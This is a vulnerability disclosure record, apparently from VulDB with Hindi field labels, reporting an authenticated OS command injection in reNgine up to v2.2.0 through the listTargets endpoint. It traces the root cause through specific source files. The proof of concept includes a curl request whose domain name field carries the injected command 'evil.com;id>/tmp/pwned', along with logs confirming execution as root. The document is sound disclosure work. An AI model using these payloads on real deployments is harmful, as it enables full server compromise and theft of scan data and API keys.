| शीर्षक | yogeshojha reNgine <=v2.2.0 Command Injection |
|---|
| विवरण | Summary
An authenticated command injection vulnerability in ReNgine allows any user with the PenetrationTester role (or higher) to achieve remote code execution (RCE) as root. The POST /api/listTargets/ endpoint creates a Domain record via DomainSerializer without the validate_domain check that the canonical AddTarget endpoint applies, so a target name containing shell metacharacters can be written to the database. When a scan is run against that target, subdomain_discovery interpolates the malicious name (as host) into external-tool commands executed with shell=True, resulting in arbitrary command execution. CVSS 3.1: 8.8 (High).
Details
Root cause (all paths under the repo):
web/api/urls.py:8-10 - DefaultRouter() registers ListTargetsDatatableViewSet.
web/api/views.py:527 - ListTargetsDatatableViewSet(viewsets.ModelViewSet) with no http_method_names restriction and no permission_classes -> POST /api/listTargets/ reaches the default create.
web/api/serializers.py:73 - DomainSerializer is a ModelSerializer(fields='all') with no validate_name / no validate_domain.
web/targetApp/models.py:149 - Domain.name = CharField(...) with no model validator.
Contrast: web/api/views.py:942 - AddTarget.post calls validators.domain(domain_name) and requires PERM_MODIFY_TARGETS. The same protection is missing on the DataTables viewset.
web/reNgine/tasks.py:414 - host = self.subdomain.name if self.subdomain else self.domain.name.
web/reNgine/tasks.py:445-540 - host is f-string-interpolated into 9 commands (amass/subfinder/sublist3r/oneforall/ctfr/tlsx/netlas/chaos/custom) and run via run_command(cmd, shell=True).
web/reNgine/common_func.py:931-937 - get_nmap_cmd calls is_valid_nmap_command(cmd) before cmd += f" {host}", so host is never checked.
This is distinct from CVE-2025-24962 (which only added is_valid_nmap_command() for the nmap_cmd parameter) and CVE-2023-50094 (WAF detector url injection). It also shows CVE-2025-24962's fix is incomplete: host is appended to the nmap command after is_valid_nmap_command() runs, so it bypasses the denylist.
PoC
Verified end-to-end in a docker-compose deployment of ReNgine master (2026-07-13):
Log in as a user with the PenetrationTester role (has PERM_MODIFY_TARGETS and PERM_INITATE_SCANS_SUBSCANS). Obtain the session cookie.
Create a target whose name contains shell metacharacters via the unvalidated endpoint:
curl -b cookies.txt -X POST http://rengine/api/listTargets/ -H "Content-Type: application/json" -d '{"name":"evil.com;id>/tmp/pwned","project":1}'
DomainSerializer accepts it (no validate_domain); a Domain row is created with the malicious name. (The endpoint returns HTTP 500 due to DomainSerializer depth=2 response serialization, but the Domain record IS persisted to the database.)
Start a scan against that target with an engine that runs subdomain_discovery (default engines do; subfinder/tlsx/etc. are enabled by default).
During the scan, subdomain_discovery builds e.g. subfinder -d evil.com;id>/tmp/pwned -o /tmp/sub.txt and executes it with shell=True. The shell splits on ; and runs id>/tmp/pwned. Arbitrary code execution achieved as root.
Actual verification results:
HTTP POST /api/listTargets/ with {"name":"evil.com;id > /tmp/pwned","project":2} returned HTTP 500, but the Domain record was persisted to the DB (id=1) with the malicious name intact.
The canonical AddTarget endpoint rejected the same payload: {"status":false,"message":"Invalid domain or IP"}.
initiate_scan (celery) was triggered for the malicious target. Celery logs show subdomain_discovery executed with host = evil.com;id > /tmp/pwned, interpolating it into tool commands:
tlsx -san -cn -silent -ro -host evil.com;id > /tmp/pwned
python3 /usr/src/github/OneForAll/oneforall.py --target evil.com;id > /tmp/pwned run
netlas search -d domain -i domain domain:"*.evil.com;id > /tmp/pwned" -f json
The shell split on ; and executed id > /tmp/pwned; /tmp/pwned was created in the celery container -- confirming RCE via the full scan-triggered flow.
Additionally, run_command(f'subfinder -d {host} -o /tmp/sub.txt', shell=True) with payload x;echo PWNED_BY_RENGINE_RCE > /tmp/rce_proof; # resulted in /tmp/rce_proof containing PWNED_BY_RENGINE_RCE.
Impact
This is an authenticated OS Command Injection (CWE-78) leading to Remote Code Execution.
Any user with the PenetrationTester role (a standard role in ReNgine's multi-user role system) can obtain root remote code execution on the ReNgine server. ReNgine is designed as a multi-user team reconnaissance platform (with SysAdmin/PenetrationTester/Auditor roles and project isolation), commonly deployed as a shared instance. The vulnerability allows a low-privilege user to escalate to root, leading to full compromise: theft of all scan data, stored third-party API keys (subfinder/nuclei/chaos/etc.), other tenants' projects, and use of the server as a pivot point into the internal network (ReNgine servers typically have internal network access for scanning). |
|---|
| स्रोत | ⚠️ https://github.com/yogeshojha/rengine/issues/1561 |
|---|
| उपयोगकर्ता | Lim2frEe (UID 100470) |
|---|
| सबमिशन | 17/09/2026 03:27 PM (18 दिन पहले) |
|---|
| संयम | 05/10/2026 05:26 PM (18 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 413623 [yogeshojha reNgine तक 2.2.0 listTargets Endpoint web/reNgine/tasks.py subdomain_discovery name अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|